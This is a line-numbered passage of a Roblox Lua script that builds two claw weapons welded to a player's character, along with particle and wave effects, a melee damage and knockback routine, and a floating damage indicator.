  2104. game:GetService("Debris"):AddItem(prt,2)
  2105. coroutine.resume(coroutine.create(function(Part,CF,Numbb,randnumb)
  2106. CF=Part.CFrame
  2107. Numbb=0
  2108. randnumb=math.random()/10
  2109. rand1=math.random()/10
  2110. for i=0,1,rand1 do
  2111. wait()
  2112. CF=CF*cf(0,math.random()/2,0)
  2113. --Part.CFrame=Part.CFrame*euler(0.5,0,0)*cf(0,1,0)
  2114. Part.CFrame=CF*euler(Numbb,0,0)
  2115. Part.Transparency=i
  2116. Numbb=Numbb+randnumb
  2117. end
  2118. Part.Parent=nil
  2119. end),prt,CF,Numbb,randnumb)
  2120. end
  2121.  
  2122. function MagicWaveThing(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  2123. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2124. prt.Anchored=true
  2125. prt.CFrame=cframe
  2126. msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=1051557",vt(0,0,0),vt(x1,y1,z1))
  2127. game:GetService("Debris"):AddItem(prt,5)
  2128. coroutine.resume(coroutine.create(function(Part,Mesh)
  2129. for i=0,1,delay do
  2130. wait()
  2131. Part.CFrame=Part.CFrame*euler(0,0.7,0)
  2132. Part.Transparency=i
  2133. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2134. end
  2135. Part.Parent=nil
  2136. end),prt,msh)
  2137. end
  2138.  
  2139. function WaveEffect(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  2140. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2141. prt.Anchored=true
  2142. prt.CFrame=cframe
  2143. msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=20329976",vt(0,0,0),vt(x1,y1,z1))
  2144. game:GetService("Debris"):AddItem(prt,2)
  2145. coroutine.resume(coroutine.create(function(Part,Mesh)
  2146. for i=0,1,delay do
  2147. wait()
  2148. Part.CFrame=Part.CFrame*cf(0,y3/2,0)
  2149. Part.Transparency=i
  2150. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2151. end
  2152. Part.Parent=nil
  2153. end),prt,msh)
  2154. end
  2155.  
  2156. function StravEffect(brickcolor,cframe,x,y,z,x1,y1,z1,delay)
  2157. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2158. prt.Anchored=true
  2159. prt.CFrame=cframe*cf(x,y,z)
  2160. msh=mesh("SpecialMesh",prt,"FileMesh","rbxassetid://168892363",vt(0,0,0),vt(x1,y1,z1))
  2161. game:GetService("Debris"):AddItem(prt,5)
  2162. coroutine.resume(coroutine.create(function(Part,Mesh,ex,why,zee)
  2163. local num=math.random()
  2164. local num2=math.random(-3,2)+math.random()
  2165. local numm=0
  2166. for i=0,1,delay*2 do
  2167. swait()
  2168. Part.CFrame=cframe*euler(0,numm*num*10,0)*cf(ex,why,zee)*cf(-i*10,num2,0)
  2169. Part.Transparency=i
  2170. numm=numm+0.01
  2171. end
  2172. Part.Parent=nil
  2173. Mesh.Parent=nil
  2174. end),prt,msh,x,y,z)
  2175. end
  2176.  
  2177. Damagefunc=function(hit,minim,maxim,knockback,Type,Property,Delay,KnockbackType,decreaseblock)
  2178. if hit.Parent==nil then
  2179. return
  2180. end
  2181. h=hit.Parent:FindFirstChild("Humanoid")
  2182. for _,v in pairs(hit.Parent:children()) do
  2183. if v:IsA("Humanoid") then
  2184. h=v
  2185. end
  2186. end
  2187. if hit.Parent.Parent:FindFirstChild("Torso")~=nil then
  2188. h=hit.Parent.Parent:FindFirstChild("Humanoid")
  2189. end
  2190. if hit.Parent.className=="Hat" then
  2191. hit=hit.Parent.Parent:findFirstChild("Head")
  2192. end
  2193. if h~=nil and hit.Parent.Name~=Character.Name and hit.Parent:FindFirstChild("Torso")~=nil then
  2194. if hit.Parent:findFirstChild("DebounceHit")~=nil then if hit.Parent.DebounceHit.Value==true then return end end
  2195. --[[ if game.Players:GetPlayerFromCharacter(hit.Parent)~=nil then
  2196. return
  2197. end]]
  2198. -- hs(hit,1.2)
  2199. c=Instance.new("ObjectValue")
  2200. c.Name="creator"
  2201. c.Value=game:service("Players").LocalPlayer
  2202. c.Parent=h
  2203. game:GetService("Debris"):AddItem(c,.5)
  2204. Damage=math.random(minim,maxim)
  2205. -- h:TakeDamage(Damage)
  2206. blocked=false
  2207. block=hit.Parent:findFirstChild("Block")
  2208. if block~=nil then
  2209. print(block.className)
  2210. if block.className=="NumberValue" then
  2211. if block.Value>0 then
  2212. blocked=true
  2213. if decreaseblock==nil then
  2214. block.Value=block.Value-1
  2215. end
  2216. end
  2217. end
  2218. if block.className=="IntValue" then
  2219. if block.Value>0 then
  2220. blocked=true
  2221. if decreaseblock~=nil then
  2222. block.Value=block.Value-1
  2223. end
  2224. end
  2225. end
  2226. end
  2227. if blocked==false then
  2228. -- h:TakeDamage(Damage)
  2229. h.Health=h.Health-Damage
  2230. showDamage(hit.Parent,Damage,.5,TorsoColor)
  2231. else
  2232. h.Health=h.Health-(Damage/2)
  2233. showDamage(hit.Parent,Damage/2,.5,BrickColor.new("Bright blue"))
  2234. end
  2235. if Type=="Knockdown" then
  2236. hum=hit.Parent.Humanoid
  2237. hum.PlatformStand=true
  2238. coroutine.resume(coroutine.create(function(HHumanoid)
  2239. swait(1)
  2240. HHumanoid.PlatformStand=false
  2241. end),hum)
  2242. local angle=(hit.Position-(Property.Position+Vector3.new(0,0,0))).unit
  2243. --hit.CFrame=CFrame.new(hit.Position,Vector3.new(angle.x,hit.Position.y,angle.z))*CFrame.fromEulerAnglesXYZ(math.pi/4,0,0)
  2244. local bodvol=Instance.new("BodyVelocity")
  2245. bodvol.velocity=angle*knockback
  2246. bodvol.P=5000
  2247. bodvol.maxForce=Vector3.new(8e+003, 8e+003, 8e+003)
  2248. bodvol.Parent=hit
  2249. rl=Instance.new("BodyAngularVelocity")
  2250. rl.P=3000
  2251. rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
  2252. rl.angularvelocity=Vector3.new(math.random(-10,10),math.random(-10,10),math.random(-10,10))
  2253. rl.Parent=hit
  2254. game:GetService("Debris"):AddItem(bodvol,.5)
  2255. game:GetService("Debris"):AddItem(rl,.5)
  2256. elseif Type=="Normal" then
  2257. vp=Instance.new("BodyVelocity")
  2258. vp.P=500
  2259. vp.maxForce=Vector3.new(math.huge,0,math.huge)
  2260. -- vp.velocity=Character.Torso.CFrame.lookVector*Knockback
  2261. if KnockbackType==1 then
  2262. vp.velocity=Property.CFrame.lookVector*knockback+Property.Velocity/1.05
  2263. elseif KnockbackType==2 then
  2264. vp.velocity=Property.CFrame.lookVector*knockback
  2265. end
  2266. if knockback>0 then
  2267. vp.Parent=hit.Parent.Torso
  2268. end
  2269. game:GetService("Debris"):AddItem(vp,.5)
  2270. elseif Type=="Up" then
  2271. local bodyVelocity=Instance.new("BodyVelocity")
  2272. bodyVelocity.velocity=vt(0,10,0)
  2273. bodyVelocity.P=1000
  2274. bodyVelocity.maxForce=Vector3.new(1e+009, 1e+009, 1e+009)
  2275. bodyVelocity.Parent=hit
  2276. game:GetService("Debris"):AddItem(bodyVelocity,1)
  2277. rl=Instance.new("BodyAngularVelocity")
  2278. rl.P=3000
  2279. rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
  2280. rl.angularvelocity=Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20))
  2281. rl.Parent=hit
  2282. game:GetService("Debris"):AddItem(rl,.5)
  2283. elseif Type=="Snare" then
  2284. bp=Instance.new("BodyPosition")
  2285. bp.P=2000
  2286. bp.D=100
  2287. bp.maxForce=Vector3.new(math.huge,math.huge,math.huge)
  2288. bp.position=hit.Parent.Torso.Position
  2289. bp.Parent=hit.Parent.Torso
  2290. game:GetService("Debris"):AddItem(bp,1)
  2291. elseif Type=="Target" then
  2292. if Targetting==false then
  2293. ZTarget=hit.Parent.Torso
  2294. coroutine.resume(coroutine.create(function(Part)
  2295. so("http://www.roblox.com/asset/?id=15666462",Part,1,1.5)
  2296. swait(5)
  2297. so("http://www.roblox.com/asset/?id=15666462",Part,1,1.5)
  2298. end),ZTarget)
  2299. TargHum=ZTarget.Parent:findFirstChild("Humanoid")
  2300. targetgui=Instance.new("BillboardGui")
  2301. targetgui.Parent=ZTarget
  2302. targetgui.Size=UDim2.new(10,100,10,100)
  2303. targ=Instance.new("ImageLabel")
  2304. targ.Parent=targetgui
  2305. targ.BackgroundTransparency=1
  2306. targ.Image="rbxassetid://4834067"
  2307. targ.Size=UDim2.new(1,0,1,0)
  2308. cam.CameraType="Scriptable"
  2309. cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  2310. dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
  2311. workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  2312. Targetting=true
  2313. RocketTarget=ZTarget
  2314. for i=1,Property do
  2315. --while Targetting==true and Humanoid.Health>0 and Character.Parent~=nil do
  2316. if Humanoid.Health>0 and Character.Parent~=nil and TargHum.Health>0 and TargHum.Parent~=nil and Targetting==true then
  2317. swait()
  2318. end
  2319. --workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,Head.CFrame.p+rmdir*100)
  2320. cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  2321. dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
  2322. cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)*cf(0,5,10)*euler(-0.3,0,0)
  2323. end
  2324. Targetting=false
  2325. RocketTarget=nil
  2326. targetgui.Parent=nil
  2327. cam.CameraType="Custom"
  2328. end
  2329. end
  2330. debounce=Instance.new("BoolValue")
  2331. debounce.Name="DebounceHit"
  2332. debounce.Parent=hit.Parent
  2333. debounce.Value=true
  2334. game:GetService("Debris"):AddItem(debounce,Delay)
  2335. c=Instance.new("ObjectValue")
  2336. c.Name="creator"
  2337. c.Value=Player
  2338. c.Parent=h
  2339. game:GetService("Debris"):AddItem(c,.5)
  2340. CRIT=false
  2341. hitDeb=true
  2342. AttackPos=6
  2343. end
  2344. end
  2345.  
  2346. showDamage=function(Char,Dealt,du,Color)
  2347. m=Instance.new("Model")
  2348. m.Name=tostring(Dealt)
  2349. h=Instance.new("Humanoid")
  2350. h.Health=0
  2351. h.MaxHealth=0
  2352. h.Parent=m
  2353. c=Instance.new("Part")
  2354. c.Transparency=0
  2355. c.BrickColor=TorsoColor
  2356. c.Name="Head"
  2357. c.TopSurface=0
  2358. c.BottomSurface=0
  2359. c.formFactor="Plate"
  2360. c.Size=Vector3.new(1,.4,1)
  2361. ms=Instance.new("CylinderMesh")
  2362. ms.Scale=Vector3.new(.8,.8,.8)
  2363. so("http://www.roblox.com/asset/?id=199149269",c,1,1)
  2364. if CRIT==true then
  2365. ms.Scale=Vector3.new(1,1.25,1)
  2366. end
  2367. ms.Parent=c
  2368. c.Reflectance=0
  2369. Instance.new("BodyGyro").Parent=c
  2370. c.Parent=m
  2371. if Char:findFirstChild("Head")~=nil then
  2372. c.CFrame=CFrame.new(Char["Head"].CFrame.p+Vector3.new(0,1.5,0))
  2373. elseif Char.Parent:findFirstChild("Head")~=nil then
  2374. c.CFrame=CFrame.new(Char.Parent["Head"].CFrame.p+Vector3.new(0,1.5,0))
  2375. end
  2376. f=Instance.new("BodyPosition")
  2377. f.P=2000
  2378. f.D=100
  2379. f.maxForce=Vector3.new(math.huge,math.huge,math.huge)
  2380. f.position=c.Position+Vector3.new(0,3,0)
  2381. f.Parent=c
  2382. game:GetService("Debris"):AddItem(m,.5+du)
  2383. c.CanCollide=false
  2384. m.Parent=workspace
  2385. c.CanCollide=false
  2386. end
  2387.  
  2388. Player=game:GetService('Players').LocalPlayer
  2389. Character=Player.Character
  2390. Mouse=Player:GetMouse()
  2391. m=Instance.new('Model',Character)
  2392.  
  2393.  
  2394. local function weldBetween(a, b)
  2395. local weldd = Instance.new("ManualWeld")
  2396. weldd.Part0 = a
  2397. weldd.Part1 = b
  2398. weldd.C0 = CFrame.new()
  2399. weldd.C1 = b.CFrame:inverse() * a.CFrame
  2400. weldd.Parent = a
  2401. return weldd
  2402. end
  2403.  
  2404. it=Instance.new
  2405.  
  2406. function nooutline(part)
  2407. part.TopSurface,part.BottomSurface,part.LeftSurface,part.RightSurface,part.FrontSurface,part.BackSurface = 10,10,10,10,10,10
  2408. end
  2409.  
  2410. function part(formfactor,parent,material,reflectance,transparency,brickcolor,name,size)
  2411. local fp=it("Part")
  2412. fp.formFactor=formfactor
  2413. fp.Parent=parent
  2414. fp.Reflectance=reflectance
  2415. fp.Transparency=transparency
  2416. fp.CanCollide=false
  2417. fp.Locked=true
  2418. fp.BrickColor=BrickColor.new(tostring(brickcolor))
  2419. fp.Name=name
  2420. fp.Size=size
  2421. fp.Position=Character.Torso.Position
  2422. nooutline(fp)
  2423. fp.Material=material
  2424. fp:BreakJoints()
  2425. return fp
  2426. end
  2427.  
  2428. function mesh(Mesh,part,meshtype,meshid,offset,scale)
  2429. local mesh=it(Mesh)
  2430. mesh.Parent=part
  2431. if Mesh=="SpecialMesh" then
  2432. mesh.MeshType=meshtype
  2433. mesh.MeshId=meshid
  2434. end
  2435. mesh.Offset=offset
  2436. mesh.Scale=scale
  2437. return mesh
  2438. end
  2439.  
  2440. function weld(parent,part0,part1,c0,c1)
  2441. local weld=it("Weld")
  2442. weld.Parent=parent
  2443. weld.Part0=part0
  2444. weld.Part1=part1
  2445. weld.C0=c0
  2446. weld.C1=c1
  2447. return weld
  2448. end
  2449.  
  2450. local modelzorz=Instance.new("Model")
  2451. modelzorz.Parent=Character
  2452. modelzorz.Name="Claw1"
  2453.  
  2454. Handle=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1))
  2455. Handleweld=weld(m,Character["Torso"],Handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-6.74455023, 0.843135834, 3.31332064, 0.866820872, 0.000393055088, -0.498619556, 0.129048944, -0.966104209, 0.223582461, -0.481630623, -0.258152217, -0.837489963))
  2456. mesh("SpecialMesh",Handle,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
  2457. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Crimson","Part",Vector3.new(2.20000005, 1, 1))
  2458. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.89693689, 0.0205960274, 1.83752108, 0.00084605813, 0.865680099, -0.500597, -0.999998748, 2.925843e-005, -0.00163948536, -0.00140464306, 0.500597715, 0.865678906))
  2459. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2460. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0205993652, 3.97038841, -4.62090921, -0.999998689, 2.810359e-005, -0.00163501501, 0.00158691406, 0.25815019, -0.966103554, 0.0003949448, -0.966104805, -0.258149862))
  2461. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2462. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Crimson","Part",Vector3.new(2.20000005, 1, 1))
  2463. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.18639517, -0.292996764, 3.91572571, -0.407002717, 0.123095758, -0.905094743, -0.483149111, -0.869928718, 0.098949343, -0.775187671, 0.477568328, 0.413536996))
  2464. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Crimson","Part",Vector3.new(2.20000005, 1, 1))
  2465. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.62196398, -0.29297936, 1.11572647, -0.835932732, 0.424737811, -0.347583354, -0.483153641, -0.869926155, 0.0989501327, -0.260344028, 0.250651836, 0.932413459))
  2466. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Crimson","Part",Vector3.new(2.20000005, 1, 1))
  2467. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.55920649, -0.210347176, 1.642519, -0.865201712, -0.000320911407, -0.501423895, -2.98991799e-005, -0.999999881, 0.000691637397, -0.501424074, 0.000613339245, 0.865201592))
  2468. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Crimson","Part",Vector3.new(2.20000005, 1, 1))
  2469. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.931638, -0.0751047134, 4.50077248, -0.352038473, 0.176153034, -0.919260144, -0.86644727, -0.432817101, 0.248874903, -0.354031444, 0.884103954, 0.304995537))
  2470. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Crimson","Part",Vector3.new(2.20000005, 1, 1))
  2471. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.34771347, -0.763819337, 1.31078529, 0.484322906, -0.259408951, -0.835546851, 0.129806682, 0.965767562, -0.224595979, 0.865206063, 0.000317394733, 0.501416266))
  2472. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Crimson","Part",Vector3.new(2.20000005, 1, 1))
  2473. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.85524988, -0.0749192238, 1.7092638, -0.499263257, 0.749717236, -0.434350491, -0.866449237, -0.432811975, 0.248876765, -0.00140497088, 0.500597596, 0.865678906))
  2474. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Crimson","Part",Vector3.new(2.20000005, 1, 1))
  2475. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.76954031, -0.210381031, 4.2438035, -0.257231236, -0.00066010654, -0.966349661, -3.04505229e-005, -0.999999762, 0.000691249967, -0.966350019, 0.000207226723, 0.257231265))
  2476. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Crimson","Part",Vector3.new(2.20000005, 1, 1))
  2477. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.87043977, 0.020611763, 4.62094831, 0.00159165263, 0.258152187, -0.966103137, -0.999998748, 2.89455056e-005, -0.00163969398, -0.000395349402, 0.966104329, 0.258151829))
  2478. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2479. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.292981744, 4.28636312, -3.9157095, -0.48314926, -0.869928479, 0.0989517197, -0.407004297, 0.123094313, -0.905094087, 0.775186777, -0.477569282, -0.413537562))
  2480. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2481. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Crimson","Part",Vector3.new(2.20000005, 1, 1))
  2482. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.85442352, -0.763632059, 3.85966015, -0.269319534, -0.183654502, -0.945377231, 0.129806384, 0.96576786, -0.22459501, 0.954262853, -0.183203816, -0.236260682))
  2483. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2484. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0751276016, 4.03159618, -4.50067854, -0.866445661, -0.432817698, 0.248879611, -0.352042913, 0.176151246, -0.919258773, 0.354030937, -0.884103894, -0.304995805))
  2485. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2486. Gear=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Crimson","Part",Vector3.new(4.29999971, 4.30000019, 1))
  2487. Gearweld=weld(m,Handle,Gear,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0552597046, -0.0398271084, -0.0363032818, 0.999988854, -3.23429704e-005, 0.00164097548, 3.37436795e-005, 0.999994695, -0.000689953566, -0.00164103508, 0.000689953566, 0.999993086))
  2488. mesh("SpecialMesh",Gear,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
  2489. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2490. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.210398674, 3.86948943, -4.24380398, -3.15159559e-005, -0.999999881, 0.00069090724, -0.257231474, -0.000659480691, -0.966349721, 0.966349959, -0.000208158046, -0.257231474))
  2491. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2492. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2493. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.763661504, 3.95439076, 3.85964441, -0.129806131, -0.965767682, 0.224596098, -0.269319892, -0.1836555, -0.945376873, 0.954262733, -0.183203891, -0.236260891))
  2494. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2495.  
  2496. local modelzorz2=Instance.new("Model")
  2497. modelzorz2.Parent=Character
  2498. modelzorz2.Name="Claw2"
  2499.  
  2500. Handle2=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1))
  2501. Handle2weld=weld(m,Character["Torso"],Handle2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(6.65693045, 1.66835713, 2.9684639, 0.866025746, 0.129405379, 0.482963592, -3.67555799e-006, -0.965926409, 0.258817136, 0.499999553, -0.224144042, -0.836516559))
  2502. mesh("SpecialMesh",Handle2,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
  2503. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Crimson","Part",Vector3.new(2.20000005, 1, 1))
  2504. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.66774845, 0.445008755, 1.50737095, 0.749997497, 0.500002265, -0.433014721, -0.433012635, 0.866024196, 0.250004709, 0.500004232, -2.02655792e-006, 0.866023183))
  2505. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Crimson","Part",Vector3.new(2.20000005, 1, 1))
  2506. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.70916891, 0.288796425, 1.12511444, 0.424947768, 0.836517453, -0.34591651, -0.870010257, 0.482961774, 0.0991482884, 0.250003695, 0.25881803, 0.933012009))
  2507. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Crimson","Part",Vector3.new(2.20000005, 1, 1))
  2508. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.24143982, 0.288818121, 3.98402214, 0.123706907, 0.408494055, -0.904339194, -0.870007515, 0.482966691, 0.0991476029, 0.477266878, 0.774516642, 0.415139139))
  2509. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2510. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.288883209, 4.34139919, -3.98407936, -0.870006502, 0.482969046, 0.099145025, 0.123710275, 0.408492953, -0.904339135, -0.477267861, -0.774515808, -0.415139765))
  2511. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2512. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2513. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.377311707, 3.81443644, -4.17874861, 1.43051147e-006, 1.00000012, 5.58793545e-006, 0.258813858, 5.02169132e-006, -0.965927303, -0.965927362, 2.82377005e-006, -0.258813858))
  2514. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2515. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Crimson","Part",Vector3.new(2.20000005, 1, 1))
  2516. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.11095357, 0.452475548, 3.33581829, 0.214266971, -0.258726388, -0.941886604, 0.124996454, -0.949091196, 0.289140463, -0.968744338, -0.179685742, -0.171018958))
  2517. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2518. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.445028067, 4.04179811, -4.22505188, -0.433007121, 0.86602807, 0.250001073, 0.176776409, 0.353552371, -0.918559194, -0.883886516, -0.353548348, -0.306183964))
  2519. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2520. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Crimson","Part",Vector3.new(2.20000005, 1, 1))
  2521. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.71447492, 0.377288342, 4.1787672, 0.258815825, 7.89761543e-007, -0.965926647, 2.11596489e-006, 1.00000012, 1.35600567e-006, 0.965926886, -2.41398811e-006, 0.258815885))
  2522. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2523. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.452456236, 4.21090841, 3.33576679, -0.124996543, 0.949091196, -0.289140046, 0.214267105, -0.25872606, -0.941886783, -0.968744338, -0.179685771, -0.171019137))
  2524. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2525. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Crimson","Part",Vector3.new(2.20000005, 1, 1))
  2526. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.94182658, 0.445016861, 4.22507095, 0.176774979, 0.353554398, -0.918558657, -0.433007926, 0.866026998, 0.250003278, 0.883886337, 0.353548825, 0.306183696))
  2527. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2528. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.256506443, 3.92671657, -4.59811449, -1.00000024, 2.62260437e-006, 1.4603138e-006, -7.4505806e-007, 0.258819073, -0.965925872, -2.89268792e-006, -0.965925932, -0.258819073))
